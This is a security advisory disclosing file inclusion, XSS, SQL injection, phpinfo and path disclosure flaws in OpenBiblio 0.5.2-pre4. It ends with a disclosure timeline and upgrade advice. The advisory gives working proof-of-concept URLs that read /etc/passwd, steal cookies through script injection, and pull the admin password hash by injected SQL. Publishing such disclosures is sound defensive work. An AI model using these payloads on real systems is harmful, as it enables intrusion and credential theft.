- Security Advisory -



 - OpenBiblio 0.5.2-pre4 and prior multiple vulnerabilities -
----------------------------------------------------


Product: 	OpenBiblio
Version:	Version 0.5.2 Prerelease 4 and prior is affected
Url:	 	http://obiblio.sourceforge.net/
Affected by:	Full path disclosure, local file include, phpinfo
disclosure, multiple Cross Site Scripting, SQL injection




I. Introduction.

	OpenBiblio is an easy to use, automated library system written in PHP
containing OPAC, circulation,
	cataloging, and staff administration functionality.
	OpenBiblio library administration offers an intuitive interface with
broad category tabs and sidebar.



II. Description


	OpenBiblio suffers multiple bugs.



	
	1) Local File Include vulnerability: its posible to include any
arbitrary local file using shared/help.php file

	- Code -
		if (isset($_GET["page"])) {
    			$page = $_GET["page"];
		} else {
    			$page = "contents";
  		}
  		include("../locale/".OBIB_LOCALE."/help/".$page.".php");
	
	- PoC -
		http://site/openbiblio/shared/help.php?page=../../../../../../etc/passwd%00





	2) Local File Include (2) (only works with register_globals On and
for non php files magic_quotes_gpc must be Off)
	
	- Code -
		<?php include("../navbars/".$tab.".php");?>
	
	- PoC -
		http://site/openbiblio/shared/header.php?tab=../../../etc/passwd%00  	




	
	3) This link will show phpinfo
	
		http://site/openbiblio/phpinfo.php

		Remove it!



	4) Path Disclosure
   	
  	Some samples:
		
		http://site/openbiblio/shared/footer.php
		Fatal error: Call to a member function on a non-object in
/httpdocs/openbiblio/shared/footer.php on line 18

		http://site/openbiblio/circ/mbr_fields.php
		Fatal error: Call to a member function on a non-object in
/httpdocs/openbiblio/circ/mbr_fields.php on line 14

	
		http://site/openbiblio/admin/custom_marc_form_fields.php
		Fatal error: Cannot instantiate non-existent class: dmquery in
/httpdocs/openbiblio/admin/custom_marc_form_fields.php on line 14


		Please, turn display_errors to Off in php.ini



	6) Multiple Cross Site Scripting, an attacker can perform an XSS
attack that allows him to access the targeted user cookies


	Some samples:

		http://site/openbiblio/admin/staff_del_confirm.php?UID=1&LAST=[XSS]&FIRST=[XSS]
	
		  http://site/openbiblio/admin/theme_del_confirm.php?themeid=6&name=[XSS]

		In /admin/theme_preview.php an attacker can inject an XSS in the var
themeName with method POST.
		here is a poc:

	
		<form action="  http://site/openbiblio/admin/theme_preview.php" method="post">
			<input type="text" name="themeName" size="40" value="<script>alert(
 document.cookie);</script>"><br><br>
			<input type="submit" value="doit">
		</form>



	
	try with: <script>alert(document.cookie);</script>





	6) SQL injection (session with report rol is needed to exploit this bug)


	Any user with report rol can access any field of the database,
including admin md5 hash.
	

	  http://site/openbiblio/reports/report_criteria.php?reset=Y&rptid=balanceDueList&title=Balance+Due+Member+List&sql=%0A++++[SQL]%0A++

	with this an attacker can get the md5 admin password:


  	http://site/openbiblio/reports/report_criteria.php?reset=Y&rptid=balanceDueList&title=Balance+Due+Member+List&sql=%0A++++select+username,pwd+from+staff%20where+userid=1%0A++
	
	then click "run report" and view the results, besides, you can choose
between html and csv format ;)

		
	staff.username  staff.pwd
	admin   21232f297a57a5a743894a0e4a801fc3



III. Timeline

	20/08/2006 - Bugs discovered
	25/08/2006 - Vendor Contacted
	30/08/2006 - Release 0.5.2 (parcial patch)
	21/02/2007 - Release 0.6.0 (full patch)
	28/12/2007 - Advisory Disclosure




IV. Solution
	
	Upgrade to 0.6.0 from http://obiblio.sourceforge.net/
	Good work! :)


V. Credits

	Juan Galiana <jgaliana gmail com>


Regards